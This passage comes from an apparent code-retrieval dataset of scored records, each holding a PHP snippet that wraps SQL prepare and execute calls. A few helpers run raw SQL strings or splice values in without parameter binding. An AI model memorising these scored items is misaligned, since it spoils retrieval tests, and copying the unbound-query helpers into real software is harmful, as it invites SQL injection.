USERNAME, PASSWORD);\n\n\t\t\t\t// ensure that PDO::prepare returns false when passed invalid SQL\n\t\t\t\t$handle->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n\t\t\t}\n\t\t\tcatch (Exception $e)\n\t\t\t{\n\t\t\t\t// trigger error and exit\n\t\t\t\ttrigger_error($e->getMessage(), E_USER_ERROR);\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\n\t\t// prepare SQL statement\n\t\t$statement = $handle->prepare($sql);\n\t\tif ($statement === false)\n\t\t{\n\t\t\t// trigger error and exit\n\t\t\ttrigger_error($handle->errorInfo()[2], E_USER_ERROR);\n\t\t\texit;\n\t\t}\n\n\t\t// execute SQL statement\n\t\t$results = $statement->execute($parameters);\n\n\t\t// return results set's rows, if any\n\t\tif ($results !== false)\n\t\t{\n\t\t\treturn $statement->fetchAll(PDO::FETCH_ASSOC);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "c151f75ee20315384fec465f058b7f9f", "score": "0.58404815", "text": "public function preparar($sql)\r\n {\r\n return $this->conexion->prepare($sql);\r\n }", "title": "" }, { "docid": "b4984b52343116fff00bf7dade8d8e03", "score": "0.583378", "text": "abstract public function execute($sql);", "title": "" }, { "docid": "c0fe45d60eefc028c6863cb5d2c44144", "score": "0.58298784", "text": "abstract public function prepare($query);", "title": "" }, { "docid": "b54796f509d1f9be1e393f942b85b4d7", "score": "0.58274984", "text": "abstract function statement_execute( $statement );", "title": "" }, { "docid": "bdf3cf930565ae7dafa9081082abb263", "score": "0.58272886", "text": "private function prepareStatement($name) {\n\t\t$sql = file_get_contents(\"sql/$name.sql\");\n\t\t$this->stmt = $this->dbh->prepare($sql);\n\t}", "title": "" }, { "docid": "a4c700b19999d22173bcbd44c64d99ac", "score": "0.5821439", "text": "private function prep($sql){\n if(!$st = $this->prepare($sql))throw new Exception(\n \"Prepare statement error: \".json_encode($this->errorInfo())\n );\n return $st;\n }", "title": "" }, { "docid": "3e27771e19c6ff7f17a29118cb2acf90", "score": "0.58162737", "text": "public static function selectQuery($sql){\n self::$debug[] = \"Trying to prepare selectQuery sql: $sql\";\n $stmt = self::$dbh->query($sql);\n $ret = $stmt->execute();\n if (!$ret) { \n return false;\n }\n $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);\n return $rows;\n }", "title": "" }, { "docid": "e76c8b7dc6608cc009ec6e0863484a05", "score": "0.5815411", "text": "private function db_tryQuery($sql) {\n try {\n $statement = $this->dbh->prepare($sql);\n $result = $statement->execute();\n return $statement;\n\n }\n catch(PDOException $e) {\n //echo \"tried: \" . $sql . \"\\n\\rerror: \" . $e->getMessage() . \"\\n\\r\";\n die();\n }\n\n }", "title": "" }, { "docid": "90a98e0dc568e0df546d211e03b1a93c", "score": "0.58149236", "text": "public function prepareExecutableStatement($statement);", "title": "" }, { "docid": "97006786f100474031c706a137a95145", "score": "0.5807553", "text": "function prepareStmt($pdo) {\n global $title, $description, $ref, $user, $views;\n if(isset($pdo)) {\n try {\n $sql = \"insert into recipes (title, reference, description, \"\n . \"username, views) values(?, ?, ?, ?, ?)\";\n $stmt = $pdo -> prepare($sql);\n $stmt -> bindParam(1, $title);\n $stmt -> bindParam(2, $ref);\n $stmt -> bindParam(3, $description);\n $stmt -> bindParam(4, $user);\n $stmt -> bindParam(5, $views, PDO::PARAM_INT);\n }\n catch(PDOException $e) {\n echo $e -> getMessage();\n }\n }\n return $stmt;\n}", "title": "" }, { "docid": "379395b36e03ec05f3736a314d469ca1", "score": "0.58074665", "text": "public function prepare($sql)\n {\n $this->result = $this->conn->prepare($sql);\n return $this->result;\n }", "title": "" }, { "docid": "d0913f8f7b44f1ca34fde39e89521748", "score": "0.58052033", "text": "public function prepare($sql) {\r\n\t\t\treturn $this->db->prepare($sql);\r\n\t\t}", "title": "" }, { "docid": "c02887f193102bc5a6e35066ec5abb6e", "score": "0.5803787", "text": "private function prepareQuery() { //echo \"SQL Query: \".$this->query.\"<br>\"; // DEBUG\n\t\t\tif (!$stmt = $this->mysqli->prepare($this->query))\n\t\t\t\ttrigger_error('Query Preparation Error. Query: '.$this->query);\n\t\t\t\n\t\t\treturn $stmt;\n\t\t}", "title": "" }, { "docid": "4c7c3a0e00a308fead321590663ba6ce", "score": "0.58019054", "text": "public function prepare ($statement, array $driver_options = null) {}", "title": "" }, { "docid": "a347cf015a7ac5822c4b27d9bcfb9e44", "score": "0.57896537", "text": "protected function setPreparedStatements() {\n\t\t$this->setPreparedModelStatement( self::KEY_OBJECT, 'slug=:slug' );\n\t\t$this->setPreparedStatement( self::KEY_OBJECT_CONTENT, 'content', 'slug=:slug' );\n\t}", "title": "" }, { "docid": "3540468bf5338fa53242f6b13568176a", "score": "0.57840604", "text": "public function test_execute_prepared_command_error()\n\t{\n\t\t$db = Database::factory();\n\t\t$table = $db->quote_table($this->_table);\n\n\t\t$name = $db->prepare(\n\t\t\tNULL, 'UPDATE '.$table.' SET \"value\" = $1 WHERE \"value\" = $2'\n\t\t);\n\n\t\t$this->setExpectedException(\n\t\t\t'Database_Exception', 'parameters', '08P01'\n\t\t);\n\n\t\t// Lacking parameters\n\t\t$db->execute_prepared_command($name);\n\t}", "title": "" }, { "docid": "bdbfa5d900a1028151e3c654b8c2db2a", "score": "0.5779082", "text": "protected function executePrepareStatements()\n {\n if ($this->prepareStatementsExecuted === true) {\n return;\n }\n\n $prepareStatements = $this->backendConfiguration->getSettings('prepareStatements');\n\n ###TODO\n if (is_array($prepareStatements)) {\n\n foreach ($prepareStatements as $prepareStatement) {\n if (trim($prepareStatement)) {\n $this->dataSource->executeQuery($this->processQueryWithFluid($prepareStatement));\n }\n }\n } else {\n if (trim($prepareStatements)) {\n $this->dataSource->executeQuery($this->processQueryWithFluid($prepareStatements));\n }\n }\n\n $this->prepareStatementsExecuted = true;\n }", "title": "" }, { "docid": "b685d1969c8d2d367555aca8c052d009", "score": "0.5778821", "text": "function prepare($statement = null, array $placeholders = null) {\n\t\t$this->dbh !== null or $this->setup();\n\n\t\tif ($placeholders !== null) {\n\t\t\t$consts = [];\n\t\t\tforeach ($placeholders as $key => $val) {\n\t\t\t\t$consts[\"[$key]\"] = $val;\n\t\t\t}\n\n\t\t\treturn \\fenrir\\MysqlStatement::instance($this->dbh, strtr($statement, $consts));\n\t\t}\n\t\telse { // placeholders === null\n\t\t\treturn \\fenrir\\MysqlStatement::instance($this->dbh, $statement);\n\t\t}\n\t}", "title": "" }, { "docid": "0cfb9edf668ae86c5277bf1fccbd5943", "score": "0.5764699", "text": "abstract function query($sql);", "title": "" }, { "docid": "0cfb9edf668ae86c5277bf1fccbd5943", "score": "0.5764699", "text": "abstract function query($sql);", "title": "" }, { "docid": "5e2e0fe28dd4e9cd0c08ef9cd2b0f6ec", "score": "0.57642555", "text": "abstract protected function execute(string $sql);", "title": "" }, { "docid": "bdd8d9f794570afb84eff21a843b0368", "score": "0.57633895", "text": "public function query($statement);", "title": "" }, { "docid": "442c2f3602eaf0fde28536c90014cb3d", "score": "0.5760063", "text": "protected function getPreparedStatementWrapper($sql) {\n\t\treturn $this->getWriteConnection()->prepare($sql);\n\t}", "title": "" }, { "docid": "7f55942cce2d4395c473029c2a55012a", "score": "0.5758256", "text": "private function prepareQuery(string $query, array $params): PDOStatement\n {\n $paramCount = count($params);\n /**\n * SQLite weirdly converts booleans to 0 or 1 when they are a single\n * value in the results of json_extract, otherwise an array will\n * return a well-formed JSON value.\n * i.e. json_extract('{\"active\":true}','$.active') = 1 but\n * json_extract('{\"active\":true,\"foo\":\"bar\"}','$.active','$.foo') = [true, 'bar']\n *\n * This annoying inconsistency must be accounted for when forming\n * the query and binding its parameters. If there are multiple parameters,\n * first we need to wrap any placeholders for booleans in a json() call,\n * then we need to expect the string 'true' in the second\n * WHERE operand (so the overall query portion ends up as json('true')).\n * Otherwise, for singular queries, booleans we bind\n * as an int of 0 or 1. Floats also need to be wrapped in json()\n * call and converted to string to be properly matched.\n *\n * This is stupid but it's unfortunately a quirk of SQLite's\n * json_extract() implementation and we can't do anything about it.\n */\n $replaceCount = 0;\n $formedQuery = preg_replace_callback(\n '/(\\?)/',\n function ($matches) use ($params, &$replaceCount) {\n $replaceCount += 1;\n $value = $params[$replaceCount - 1];\n if (is_bool($value) || is_float($value)) {\n return 'json(?)';\n }\n return '?';\n },\n $query\n );\n $queryHash = hash('sha256', $formedQuery);\n if (isset($this->queryCache[$queryHash])) {\n $stmt = $this->queryCache[$queryHash];\n } else {\n $stmt = $this->conn->prepare($formedQuery);\n $this->queryCache[$queryHash] = $stmt;\n }\n\n for ($i = 1; $i <= $paramCount; $i++) {\n $paramType = PDO::PARAM_STR;\n $param = $params[$i - 1];\n if (is_bool($param)) {\n /**\n * See comments above for why this happens.\n * This would break if there was some other clause alongside\n * json_extract(json,?) = ? in a query with a single bool, but\n * that's not a problem in DocLite's implementation, at least\n * not right now. May need to refactor or redesign in the\n * future to cope with the json_extract madness on booleans.\n * Note we should never reach here for singular bools anyway,\n * since they are converted in the Database::buildFindQuery\n * method.\n */\n if ($paramCount === 2) {\n $paramType = PDO::PARAM_INT;\n } else {\n $param = $param ? \"true\" : \"false\";\n }\n }\n if (is_int($param)) {\n $paramType = PDO::PARAM_INT;\n } elseif (is_null($param)) {\n $paramType = PDO::PARAM_NULL;\n } elseif (is_float($param)) {\n $paramType = PDO::PARAM_STR;\n }\n $stmt->bindValue($i, $param, $paramType);\n }\n\n return $stmt;\n }", "title": "" }, { "docid": "23979ceddd744b3b4e927a0b8eee6ee8", "score": "0.5757408", "text": "public function prepare();", "title": "" }, { "docid": "10c28dc038c5f9e0d0544d0b00374fe9", "score": "0.575673", "text": "public static function rawQuery($sql){\n self::$debug[] = \"Trying to prepare rawQuery sql: $sql\";\n $stmt = self::$dbh->query($sql);\n return $stmt;\n }", "title": "" }, { "docid": "eae3768d6d6e3b2ff38b77764fa91c32", "score": "0.57472193", "text": "public function preparedSelect(string $sql, array $params, array $types = null)\n {\n }", "title": "" }, { "docid": "bec397224a1c091449d6fca1c19043e3", "score": "0.57457644", "text": "function mysqli_stmt_execute () {}", "title": "" }, { "docid": "973d8e734fc1091cb0b7a193f1f99f07", "score": "0.57450193", "text": "function db_select( $sql, $bind=array() ) {\n $res = db_run( $sql, $bind );\n $res->setFetchMode( PDO::FETCH_ASSOC );\n $rows = array();\n while ( $row = $res->fetch() )\n $rows[] = $row;\n return $rows;\n}", "title": "" }, { "docid": "587ccd85f3fd093a1ddb5fc0a5866308", "score": "0.573266", "text": "public function query(string $statement);", "title": "" }, { "docid": "3f319fa38e21989267ae7e8098c4682f", "score": "0.5732606", "text": "public function query($sql)\n {\n $this->stmt = $this->dbh->prepare($sql);\n }", "title": "" }, { "docid": "d296b1338835c5978177f4fc8c8cf7ee", "score": "0.57324874", "text": "private static function _prepare_and_execute($sql, $params) {\n\t\ttry {\n\t\t\tif(empty($sql) || !is_string($sql)) throw new Custom_Exception(DB_Exception::$invalid_sql_must_be_a_valid_string);\n\t\t\tif(!self::$inst) self::_init_instance();\n\n\t\t\tself::$inst->sql = DB::trim_trailing_comma($sql);\n\t\t\tself::$inst->params = self::_get_normalized_params($params);\n\t\t\tself::$inst->start_time = microtime(true);\n\t\t\tself::$inst->result = '';\n\n\t\t\tself::_create_pdo_object();\n\t\t\tself::_run_exec();\n\t\t} catch(PDOException $e) {\n\t\t\tLog::write(\"DB ERROR | Query: <br>\\n\" . DB::sql_to_string() . \"\\n DB exception: \" . $e->getMessage());\n\t\t\tnew Custom_Exception(DB_Exception::$mysql_thrown_pdo_exception, $e->getMessage() . \" |<br><br> Query: <br>\\n\" . DB::sql_to_string());\n\t\t}\n\t}", "title": "" }, { "docid": "5c2de4146dedc10c45c274d0545f9f2b", "score": "0.5728129", "text": "public function prepareQuery($sql, $limit=null, $offset=null);", "title": "" }, { "docid": "d6b728c60d6e3ea205b166101170fd52", "score": "0.572668", "text": "function getPreparedQuery($query, $param1 = array());", "title": "" }, { "docid": "db895cbba819f40499b3b19729dfd29c", "score": "0.57256645", "text": "public function queryc($sql)\n {\n $this->statement = $this->dbHandler->prepare($sql);\n }", "title": "" }, { "docid": "1879fb573ed80563d191432f1ef4df6d", "score": "0.57219505", "text": "protected function _execute($sql, $params = array(), $prepareOptions = array()) {\n\t\t$sql = trim ( $sql );\n\t\tif (preg_match ( '/^(?:CREATE|ALTER|DROP)\\s+(?:TABLE|INDEX)/i', $sql )) {\n\t\t\t$statements = array_filter ( explode ( ';', $sql ) );\n\t\t\tif (count ( $statements ) > 1) {\n\t\t\t\t$result = array_map ( array (\n\t\t\t\t\t\t$this,\n\t\t\t\t\t\t'_execute' \n\t\t\t\t), $statements );\n\t\t\t\treturn array_search ( false, $result ) === false;\n\t\t\t}\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t$query = $this->_connection->prepare ( $sql, $prepareOptions );\n\t\t\t$query->setFetchMode ( PDO::FETCH_LAZY );\n\t\t\tif (! $query->execute ( $params )) {\n\t\t\t\t$this->_results = $query;\n\t\t\t\t$query->closeCursor ();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (! $query->columnCount ()) {\n\t\t\t\t$query->closeCursor ();\n\t\t\t\tif (! $query->rowCount ()) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $query;\n\t\t} catch ( PDOException $e ) {\n\t\t\tif (isset ( $query->queryString )) {\n\t\t\t\t$e->queryString = $query->queryString;\n\t\t\t} else {\n\t\t\t\t$e->queryString = $sql;\n\t\t\t}\n\t\t\tthrow $e;\n\t\t}\n\t}", "title": "" } ]
d2f0941850c24a1c595b04c443ec48f1
Filter the query on the blockgrant_id column Example usage: $query>filterByBlockgrantId('fooValue'); // WHERE blockgrant_id = 'fooValue' $query>filterByBlockgrantId('%fooValue%'); // WHERE blockgrant_id LIKE '%fooValue%'
[ { "docid": "3e68718a23d1d12b9c32cd5d1e326104", "score": "0.6566145", "text": "public function filterByBlockgrantId($blockgrantId = null, $comparison = null)\n {\n if (null === $comparison) {\n if (is_array($blockgrantId)) {\n $comparison = Criteria::IN;\n } elseif (preg_match('/[\\%\\*]/', $blockgrantId)) {\n $blockgrantId = str_replace('*', '%', $blockgrantId);\n $comparison = Criteria::LIKE;\n }\n }\n\n return $this->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $blockgrantId, $comparison);\n }", "title": "" } ]
[ { "docid": "bad70e5cfc50f42e612aac839d81a82f", "score": "0.6633873", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "d317e7060184e595855a229c6deba5a7", "score": "0.53461164", "text": "public function filterBySekolahId($sekolahId = null, $comparison = null)\n {\n if (null === $comparison) {\n if (is_array($sekolahId)) {\n $comparison = Criteria::IN;\n } elseif (preg_match('/[\\%\\*]/', $sekolahId)) {\n $sekolahId = str_replace('*', '%', $sekolahId);\n $comparison = Criteria::LIKE;\n }\n }\n\n return $this->addUsingAlias(BlockgrantPeer::SEKOLAH_ID, $sekolahId, $comparison);\n }", "title": "" }, { "docid": "84bb8ce9c29e5651ae86fe2faa4b77f0", "score": "0.5204927", "text": "function SqlKeyFilter() {\n\t\treturn \"`id` = @id@\";\n\t}", "title": "" }, { "docid": "d71dc8a5334c4f44f9e08cea212ea658", "score": "0.5162974", "text": "public function filterByPrimaryKeys($keys)\n {\n\n return $this->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $keys, Criteria::IN);\n }", "title": "" }, { "docid": "397dec5f76f58657041661d521318679", "score": "0.5071669", "text": "public static function setFilter($blockId, array &$sourceParams = [])\n {\n $sourceList = self::getSourceSelector();\n\n foreach ($sourceParams as $selector => &$item) {\n $item['filterId'] = 0;\n if (isset($item['source'])) {\n $sourceId = trim($item['source']);\n $sourceFilter = isset($item['settings']['source']['filter'])\n ? $item['settings']['source']['filter']\n : [];\n // build source by id\n $source = $sourceList->getDataLoader(\n $sourceId,\n []\n );\n if (!is_object($source)) {\n return;\n }\n // normalize and hash the filter\n $sourceFilter = $source->normalizeFilter(\n $sourceFilter\n );\n $hashFilter = $source->getFilterHash(\n $sourceFilter\n );\n // add new entity if not exist\n $filterId = 0;\n $res = self::getList(\n [\n 'select' => [\n 'ID'\n ],\n 'filter' => [\n '=FILTER_HASH' => $hashFilter\n ]\n ]\n );\n if ($row = $res->fetch()) {\n $filterId = $row['ID'];\n } else {\n $res = self::add(\n [\n 'SOURCE_ID' => $sourceId,\n 'FILTER_HASH' => $hashFilter,\n 'FILTER' => $sourceFilter\n ]\n );\n if ($res->isSuccess()) {\n $filterId = $res->getId();\n }\n }\n if ($filterId) {\n FilterEntityTable::applyBlock($filterId, $blockId);\n $item['filterId'] = $filterId;\n }\n unset($sourceFilter, $hashFilter, $res, $row);\n }\n }\n unset($sourceList, $selector, $item);\n\n if (!$sourceParams) {\n self::removeBlock($blockId);\n }\n }", "title": "" }, { "docid": "ec3705a4f622fe4a436b1a8bdfc47df3", "score": "0.50535417", "text": "public function filterByBangunanDariBlockgrant($bangunanDariBlockgrant, $comparison = null)\n {\n if ($bangunanDariBlockgrant instanceof BangunanDariBlockgrant) {\n return $this\n ->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $bangunanDariBlockgrant->getBlockgrantId(), $comparison);\n } elseif ($bangunanDariBlockgrant instanceof PropelObjectCollection) {\n return $this\n ->useBangunanDariBlockgrantQuery()\n ->filterByPrimaryKeys($bangunanDariBlockgrant->getPrimaryKeys())\n ->endUse();\n } else {\n throw new PropelException('filterByBangunanDariBlockgrant() only accepts arguments of type BangunanDariBlockgrant or PropelCollection');\n }\n }", "title": "" }, { "docid": "6713c7b0f8c1a2bf24984fe0ee2ea3ca", "score": "0.5047005", "text": "function clients_getFilter($id) {\n\tglobal $Auth;\n\n\t## multiclient\n\t$client_id = $Auth->auth[\"client_id\"];\n\t\n\t## prepare the db-object\n\t$db = new DB_Sql();\n\n\t## then get the correct values\n\t$query = \"SELECT * FROM \".DB_PREFIX.$GLOBALS['_MODULE_DATAOBJECTS_DBPREFIX'].\"_filters WHERE id='$id'\";\n\n\t$result = $db->query($query);\t\n\t$counter = 0;\n\t$return_value = array();\n\tif($db->next_record(MYSQL_ASSOC)) {\n\t\t$return_value = $db->Record;\n\t}\n\treturn $return_value;\t\n}", "title": "" }, { "docid": "47b6fe2b8191d4e04f3e90df66c86f14", "score": "0.4968347", "text": "function getListFilter($col,$key) {\n\t\t\tswitch($col) {\n\t\t\t\tcase 'periode': return \"a.periode = '$key'\";\n\t\t\t\tcase 'nipasisten': return \"a.nipasisten = '$key'\";\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "7d100e04f2b733f04f8c547db65f7702", "score": "0.4952406", "text": "public function filterId(int ...$id): self;", "title": "" }, { "docid": "b5b9b62ad843dd8890f03222fc041037", "score": "0.4944877", "text": "public function filterByTanahDariBlockgrant($tanahDariBlockgrant, $comparison = null)\n {\n if ($tanahDariBlockgrant instanceof TanahDariBlockgrant) {\n return $this\n ->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $tanahDariBlockgrant->getBlockgrantId(), $comparison);\n } elseif ($tanahDariBlockgrant instanceof PropelObjectCollection) {\n return $this\n ->useTanahDariBlockgrantQuery()\n ->filterByPrimaryKeys($tanahDariBlockgrant->getPrimaryKeys())\n ->endUse();\n } else {\n throw new PropelException('filterByTanahDariBlockgrant() only accepts arguments of type TanahDariBlockgrant or PropelCollection');\n }\n }", "title": "" }, { "docid": "5863d03e3da90892c377c16abfa1a919", "score": "0.4926926", "text": "public function filterWhere(Builder $dataSource)\r\n\t{\r\n\t\t$model = $dataSource->getModel();\r\n\t\tif ($this->_column === static::COLUMN_ID) {\r\n $expr = $model->getPrimary();\r\n $alias = $dataSource->getAlias();\r\n\t\t} elseif ($this->_column === static::COLUMN_NAME) {\r\n\t\t\t$expr = $model->getNameExpr();\r\n $alias = $dataSource->getAlias();\r\n\t\t} else {\r\n\t\t\t$expr = $this->_column;\r\n $alias = $dataSource->getCorrelationName($this->_column);\r\n\t\t}\r\n if (!$alias) {\r\n throw new \\Engine\\Exception('Field \\''.$this->_column.'\\' not found in query builder');\r\n }\r\n $compare = $this->getCompareCriteria($this->_criteria, $this->_value);\r\n\r\n if (null === $this->_value) {\r\n return $alias.'.'.$expr.' '.$compare.' NULL';\r\n }\r\n\t\t$key = $this->getFilterField()->getKey();\r\n\r\n $this->setBoundParamKey($alias.'_'.$expr.'_'.$key);\r\n\r\n return $alias.'.'.$expr.' '.$compare.' :'.$this->getBoundParamKey().':';\r\n\t}", "title": "" }, { "docid": "3e6456c7f7fdb28d6664fa3b7739fd89", "score": "0.4868037", "text": "public function getStoredFilter($id);", "title": "" }, { "docid": "f0c91b0bfa879bde2795ae524f874dcb", "score": "0.48554567", "text": "public function filterByAngkutanDariBlockgrant($angkutanDariBlockgrant, $comparison = null)\n {\n if ($angkutanDariBlockgrant instanceof AngkutanDariBlockgrant) {\n return $this\n ->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $angkutanDariBlockgrant->getBlockgrantId(), $comparison);\n } elseif ($angkutanDariBlockgrant instanceof PropelObjectCollection) {\n return $this\n ->useAngkutanDariBlockgrantQuery()\n ->filterByPrimaryKeys($angkutanDariBlockgrant->getPrimaryKeys())\n ->endUse();\n } else {\n throw new PropelException('filterByAngkutanDariBlockgrant() only accepts arguments of type AngkutanDariBlockgrant or PropelCollection');\n }\n }", "title": "" }, { "docid": "f47422a234aa0a043a7d8ca3da780666", "score": "0.48345622", "text": "public function _idFilter($collection, $column)\r\n {\r\n if (!$value = $column->getFilter()->getValue()) {\r\n return $this;\r\n }\r\n\r\n $filtered_collection = $this->filterCollection('video_id', $value);\r\n $this->setCollection($filtered_collection);\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "cae1de129b69fbb5fd6bb9b1f38ca3de", "score": "0.48326644", "text": "function getListFilter($col,$key) {\n\t\t\tswitch($col) {\n\t\t\t\tcase 'kelas':\n\t\t\t\t\trequire_once(Route::getModelPath('kelaspraktikum'));\n\t\t\t\t\t\n\t\t\t\t\treturn mKelasPraktikum::getCondition($key, 'thnkurikulum , kodemk , kodeunit , periode , kelasmk,jeniskuliah, kelompok');\n\t\t\t\tcase 'periode': return \"k.periode = '$key'\";\n\t\t\t\tcase 'tglkuliah': return \"k.tglkuliah = '$key'\";\n\t\t\t\tcase 'sistemkuliah': return \"kls.sistemkuliah = '$key'\";\n\t\t\t\tcase 'kodemk': return \"k.kodemk = '$key'\";\n\t\t\t\tcase 'unit':\n\t\t\t\t\tglobal $conn, $conf;\n\t\t\t\t\trequire_once(Route::getModelPath('unit'));\n\t\t\t\t\t\n\t\t\t\t\t$row = mUnit::getData($conn,$key);\n\t\t\t\t\t\n\t\t\t\t\treturn \"u.infoleft >= \".(int)$row['infoleft'].\" and u.inforight <= \".(int)$row['inforight'];\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "7412bd4e47dbc59b7e2e4e92161c5148", "score": "0.48303846", "text": "protected function _where(){\n return $this->_fieldId .\"=\";\n }", "title": "" }, { "docid": "b2e9854f5da46c88eaedc2bab5cdd4be", "score": "0.4819399", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(BoletinPeer::BOLETIN_ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "5d8b23f85f43d3d02dd53797ed444e58", "score": "0.48189473", "text": "function getListFilter($col,$key) {\n\t\t\tswitch($col) {\n\t\t\t\tcase 'unit':\n\t\t\t\t\tglobal $conn, $conf;\n\t\t\t\t\trequire_once($conf['gate_dir'].'model/m_unit.php');\n\t\t\t\t\t\n\t\t\t\t\t$row = mUnit::getData($conn,$key);\n\t\t\t\t\t\n\t\t\t\t\treturn \"u.infoleft >= \".(int)$row['infoleft'].\" and u.inforight <= \".(int)$row['inforight'];\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6241922f0c69c0f5f1b50dd2ca515470", "score": "0.48095027", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(UserFieldPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "debd42aa41ab6a06c7e6b2d1d0cd207c", "score": "0.48080933", "text": "public function getIdsByColumnName($columnName, $value, $filterCondition)\n {\n $entity = new Entity();\n $operator = 'like';\n\n if ($columnName == 'address') {\n $value = trim(explode(JlogSearch::ADDRESS_DELIMITER, $value)[0]);\n $columnName = 'static_address';\n }\n\n $expression = $columnName;\n\n switch ($filterCondition) {\n case self::FILTER_NOT_SET:\n\n break;\n case self::FILTER_CELL_EMPTY:\n $operator = 'is';\n $value = new \\yii\\db\\Expression('null');\n list($columnName, $expression, $operator, $value)\n = \n $this->setColumnExpressionOperatorValue(\n $columnName, $expression, $operator, $value\n );\n break;\n case self::FILTER_CELL_NOT_EMPTY:\n $operator = 'is not';\n $value = new \\yii\\db\\Expression('null');\n list($columnName, $expression, $operator, $value)\n = \n $this->setColumnExpressionOperatorValue(\n $columnName, $expression, $operator, $value\n );\n break; \n case self::FILTER_TEXT_CONTAIN:\n\n break;\n case self::FILTER_TEXT_NOT_CONTAIN:\n $operator = 'not like';\n\n break; \n case self::FILTER_TEXT_START_FROM:\n\n $value = $value.'%';\n break;\n case self::FILTER_TEXT_END_WITH:\n $value = '%'.$value;\n break;\n case self::FILTER_TEXT_EQUAL:\n $operator = '=';\n break;\n }\n\n if (\n $operator == 'like' &&\n in_array($filterCondition, [self::FILTER_TEXT_START_FROM, self::FILTER_TEXT_END_WITH])\n ) {\n $whereCondition = [$operator, $expression, $this->removeLastPiece(',', $value), false];\n } elseif ($operator == '=') {\n\n $whereCondition = [$operator, $expression, $this->removeLastPiece(',', $value)];\n } else {\n\n $whereCondition = [$operator, $expression, $this->removeLastPiece(',', $value)];\n }\n\n $unitModels = ['static' => new AddressBalanceHolder(), 'imei' => new Imei()];\n $unitsQuery = $unitModels[explode('_', $columnName)[0]]::find()->where($whereCondition)\n ->andWhere(['company_id' => $entity->getCompanyId()]);\n\n if ($columnName == 'static_address' && !empty($floor = $this->getLastPiece(',', $value))) {\n $unitsQuery = $unitsQuery->andFilterWhere(['like', 'static_floor', $floor]);\n }\n\n $units = $unitsQuery->all();\n\n if (empty($units)) {\n\n return [];\n }\n\n $unitIds = \\yii\\helpers\\ArrayHelper::getColumn($units, 'id');\n\n return $unitIds;\n }", "title": "" }, { "docid": "42dd6056ba072bbb01530d398e996717", "score": "0.47594228", "text": "public function getFilterByContractIdAndType($contractId,$type);", "title": "" }, { "docid": "8f13facdf908cc0bfcc582f312b5583c", "score": "0.473668", "text": "public function getFilterBlock()\n {\n $filterBlockName = $this->getSuggestAttributeName() . '_filter';\n return $this->getLayout()->getBlock($filterBlockName);\n }", "title": "" }, { "docid": "c5a9e9ecbc5ea661e29a295632305f66", "score": "0.47339976", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(CastleTypePeer::ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "41a8ceb5894fd79fcdbbaaf6396a6205", "score": "0.47160292", "text": "public function where_id_is($id)\n {\n }", "title": "" }, { "docid": "1dd88366235c4305e8e801d79eea4065", "score": "0.47071958", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(SettingsPeer::ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "f85371a6e56d6f7e2c9e428e6bfd5f49", "score": "0.4702243", "text": "public static function applyBlock($filterId, $blockId)\n {\n $res = FilterBlockTable::getList(\n [\n 'select' => [\n 'ID'\n ],\n 'filter' => [\n 'FILTER_ID' => $filterId,\n 'BLOCK_ID' => $blockId\n ]\n ]\n );\n if (!$res->fetch()) {\n FilterBlockTable::add(\n [\n 'FILTER_ID' => $filterId,\n 'BLOCK_ID' => $blockId\n ]\n );\n }\n unset($res);\n self::actualFilters();\n }", "title": "" }, { "docid": "b0d27fb585d6fac5cb25931164f5be15", "score": "0.46763664", "text": "public function apply($dataSource, $column, $value)\n {\n $value = $this->applyValueType($value);\n\n if (isset($value) && !empty($value)) {\n \n //$columnName = $this->findTableColumnName($select, $column->getName());\n $columnName = $column->getName();\n\n if($dataSource instanceof QueryBuilder) {\n \t$dataSource instanceof \\Doctrine\\ORM\\QueryBuilder;\n $parameter = ParameterId::getParameter(__CLASS__, $columnName);\n $qb = $dataSource;\n \n if($column->getParent() == null) {\n\n if($column instanceof DbReference) {\n $_columName = 'IDENTITY(' . $qb->getRootAlias() . '.' . $columnName . ')';\n } else {\n $_columName = $qb->getRootAlias() . '.' . $columnName;\n }\n \t$qb->andWhere(\n $qb->expr()\n ->orx(\n $qb->expr()\n ->like($_columName, ':' . $parameter)))->setParameter($parameter, '%' . $value . '%');\n } else {\n \n \t$parentColumn = $column->getParent();\n \t\n \n \t$fieldAssoc = $parentColumn->getName();;\n \t$field = $column->getName();\n \t\n\n \t$parts[] = $fieldAssoc;\n \t$parts[] = $field;\n \t \n \t$alias = implode('__', $parts);\n \n \t$qb->join($qb->getRootAlias() . '.' . $fieldAssoc, $alias, Join::WITH, $qb->expr()\n ->orx(\n $qb->expr()\n ->like($alias . '.' . $field, ':' . $parameter)));\n \n \t$qb->setParameter($parameter, '%' . $value . '%');\n }\n } else {\n // @todo Add param for like template\n $spec = function (\\Zend\\Db\\Sql\\Where $where) use($columnName, \n $value)\n {\n $where->like($columnName, '%' . $value . '%');\n };\n \n $dataSource->getSelect()->where($spec);\n }\n \n }\n\n return $dataSource;\n }", "title": "" }, { "docid": "b3071929492dbc109d18bf2d3579652c", "score": "0.4659346", 